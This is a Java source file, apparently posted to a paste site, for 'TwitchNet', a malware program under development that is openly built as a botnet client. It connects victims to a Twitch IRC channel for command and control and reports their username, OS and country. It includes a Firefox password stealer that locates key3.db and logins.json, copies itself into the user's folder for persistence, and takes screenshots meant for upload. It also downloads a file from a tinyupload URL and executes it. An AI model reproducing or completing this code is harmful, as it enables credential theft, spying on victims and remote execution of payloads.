· 9 years ago · Oct 03, 2016, 06:58 PM
1package TwitchNetPackage;
2
3import java.awt.Desktop;
4import java.awt.Rectangle;
5import java.awt.Robot;
6import java.awt.Toolkit;
7import java.awt.image.BufferedImage;
8import java.io.BufferedInputStream;
9import java.io.BufferedReader;
10import java.io.File;
11import java.io.FileInputStream;
12import java.io.FileOutputStream;
13import java.io.FileWriter;
14import java.io.IOException;
15import java.io.InputStream;
16import java.io.InputStreamReader;
17import java.io.OutputStream;
18import java.io.UnsupportedEncodingException;
19import java.net.Inet4Address;
20import java.net.InetAddress;
21import java.net.MalformedURLException;
22import java.net.URI;
23import java.net.URISyntaxException;
24import java.net.URL;
25import java.net.URLDecoder;
26import java.net.UnknownHostException;
27import java.nio.channels.Channels;
28import java.nio.channels.ReadableByteChannel;
29import java.nio.file.Files;
30import java.nio.file.Path;
31import java.nio.file.StandardCopyOption;
32import java.time.LocalDateTime;
33
34import javax.imageio.ImageIO;
35
36import org.jibble.pircbot.IrcException;
37
38public class TwitchNet {
39 /*IRC variables*/
40 final String OAUTH_TOKEN = "";
41 IrcChatBot chatter = new IrcChatBot();
42 final String CHANNEL_NAME = "";
43
44 /*Client info variables*/
45 public final String CLIENT_OS = System.getProperty("os.name");
46 public final String CLIENT_COUNTRY = System.getProperty("user.country");
47 public final static String CLIENT_HOSTNAME = System.getProperty("user.name");
48 public static final String CLIENT_HOMEPATH = System.getProperty("user.home");
49
50 /*Password stealer data*/
51 static File ffpwDir;
52 static File key3;
53 static File ffpwLogins;
54
55 /*Class info variables*/
56 File classFile;
57 File dumpFile;
58
59 public void run() {
60 //start bot
61 //connectToIrc();
62
63 //auto run and replicate file
64 //infect();
65
66 try {
67 download(new URL("http://s000.tinyupload.com/?file_id=09264151365138714335"));
68 } catch (MalformedURLException e) {
69 // TODO Auto-generated catch block
70 e.printStackTrace();
71 }
72
73
74 }
75
76 /*Connect to twitch IRC channel*/
77 public void connectToIrc() {
78 try {
79 chatter.connect("irc.twitch.tv",6667, OAUTH_TOKEN);
80 chatter.setVerbose(true);
81 chatter.joinChannel(CHANNEL_NAME);
82 chatter.getName();
83 IrcChatBot.botCount++;
84 chatter.sendMessage(CHANNEL_NAME, "Connected bot: " + CLIENT_HOSTNAME + " OS: " + CLIENT_OS + " from: " + CLIENT_COUNTRY);
85
86 //if bot disconnects
87 while (!chatter.isConnected()) {
88 try {
89 //wait 5 secs before reconnecting
90 Thread.sleep(5000);
91 try {
92 chatter.reconnect();
93 } catch (Exception e) {
94 //wait 10 secs if shits not working
95 Thread.sleep(10000);
96 }
97 } catch (InterruptedException e) {
98 // TODO Auto-generated catch block
99 e.printStackTrace();
100 }
101 }
102 } catch (IOException | IrcException e) {
103 e.printStackTrace();
104 }
105 }
106
107 /*Firefox password stealer*/
108 public static void ffpwSteal() {
109 File file = new File(CLIENT_HOMEPATH + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles");
110 String[] fileNames = file.list();
111
112 //find unique folder in profiles dir and assign files
113 for (int i =0;i<fileNames.length;i++) {
114 if (new File(CLIENT_HOMEPATH + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"+fileNames[i]).isDirectory() &&
115 new File(CLIENT_HOMEPATH + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"+fileNames[i]).toString().contains("default")) {
116 String path = CLIENT_HOMEPATH + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" + fileNames[i];
117 ffpwDir = new File(path);
118 if (!ffpwDir.exists()) {
119 break;
120 }
121 key3 = new File(path + "\\key3.db");
122 ffpwLogins = new File(path + "\\logins.json");
123 }
124 }
125
126 /**
127 * TODO: put the files somewhere with FTP
128 */
129 }
130
131 /*Replicate file and make it auto-run*/
132 public void infect() {
133 try {
134 String fuktpath = URLDecoder.decode(TwitchNet.class.getProtectionDomain().getCodeSource().getLocation().getPath(),"UTF-8");
135 String path;
136 //fix filepath if its fucked
137 if (fuktpath.charAt(0) == '/') {path = fuktpath.substring(1);} else {path = fuktpath;}
138
139 classFile = new File(path);
140 dumpFile = new File(CLIENT_HOMEPATH+"\\videos\\bin.jar");
141
142 //replicate file if it doesnt exist
143 if (!dumpFile.exists()) {
144 copyFile(classFile.getAbsolutePath(),CLIENT_HOMEPATH+"\\videos\\bin.jar");
145 }
146
147 /**
148 * TODO: make registry editor class and make the replica jar auto-run
149 */
150
151
152
153 } catch (UnsupportedEncodingException e) {
154 e.printStackTrace();
155 }
156 }
157
158 /*Open link in a browser*/
159 public static void openLink(URI uri) {
160
161 // Create Desktop object
162 Desktop d = Desktop.getDesktop();
163
164 // Browse a URL, say google.com
165 try {
166 d.browse(uri);
167 } catch (IOException e) {
168 e.printStackTrace();
169 }
170
171 /*Maybe make it run in the background soon?*/
172
173 }
174
175 public static void muteSystem() {
176 String mutecmd = "Function Toggle-Mute(){$wshShell = new-object -com wscript.shell;$wshShell.SendKeys([char]173)}Toggle-Mute";
177 try {
178 Process p = Runtime.getRuntime().exec("powershell.exe "+mutecmd);
179
180 } catch (IOException e) {
181 e.printStackTrace();
182 }
183
184
185 }
186
187 /*Screenshot desktop*/
188 public static void screenShotDesktop() {
189 /**
190 * TODO: in case theres more monitors, screenshot both
191 */
192 try {
193 Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
194 BufferedImage capture = new Robot().createScreenCapture(screenRect);
195 String time = LocalDateTime.now().toString();
196 String realtime = time.substring(0,10);
197 File screen = new File("D:\\"+ realtime + CLIENT_HOSTNAME + ".bmp");
198 ImageIO.write(capture, "bmp", screen);
199
200 /*
201 * TODO: put the file somewhere with ftp and delete the image
202 */
203 } catch(Exception e) {
204
205 }
206 }
207
208 /*Download file from link*/
209 public static void download(URL url) {
210 //new thread to dl big files
211 new Thread(new Runnable() {
212 public void run() {
213 //get paths
214 String fName = url.getFile();
215 String split[] = fName.split("/");
216 String fn = split[split.length-1];
217 //replace illegal chars
218 fn= fn.replace('?', 's');
219 fn = fn.replaceAll("\\+", "");
220 fn = fn.replaceAll("=", "");
221
222 String targetPath = new File(CLIENT_HOMEPATH + "\\" + fn).toString();
223
224 //"copy file" to directory
225 try {
226 ReadableByteChannel rbc = Channels.newChannel(url.openStream());
227 FileOutputStream fos = new FileOutputStream(targetPath);
228 fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
229 fos.close();
230 rbc.close();
231 } catch (IOException e) {
232 e.printStackTrace();
233
234 //run the file
235 } finally {
236 try {
237 Runtime.getRuntime().exec(new File(targetPath).getAbsolutePath());
238 } catch (IOException e) {
239 e.printStackTrace();
240 }
241 }
242 }
243 }).start();
244
245 }
246
247 //Copy file
248 public void copyFile(String f1p, String f2p) {
249 File f1 = new File(f1p);
250 File f2 = new File(f2p);
251 if (!f2.exists()) {
252 try {
253 f2.createNewFile();
254 } catch (IOException e) {
255 e.printStackTrace();
256 }
257 }
258
259 try {
260 InputStream is = new FileInputStream(f1);
261 OutputStream os = new FileOutputStream(f2);
262
263 byte[] buf = new byte[1024];
264 int len;
265
266 while ((len=is.read(buf))>0) {
267 os.write(buf,0,len);
268 }
269 is.close();
270 os.close();
271
272 } catch(Exception e) {
273
274 }
275 }
276
277 public static void main(String[] args) {
278 new TwitchNet().run();
279
280 }
281
282}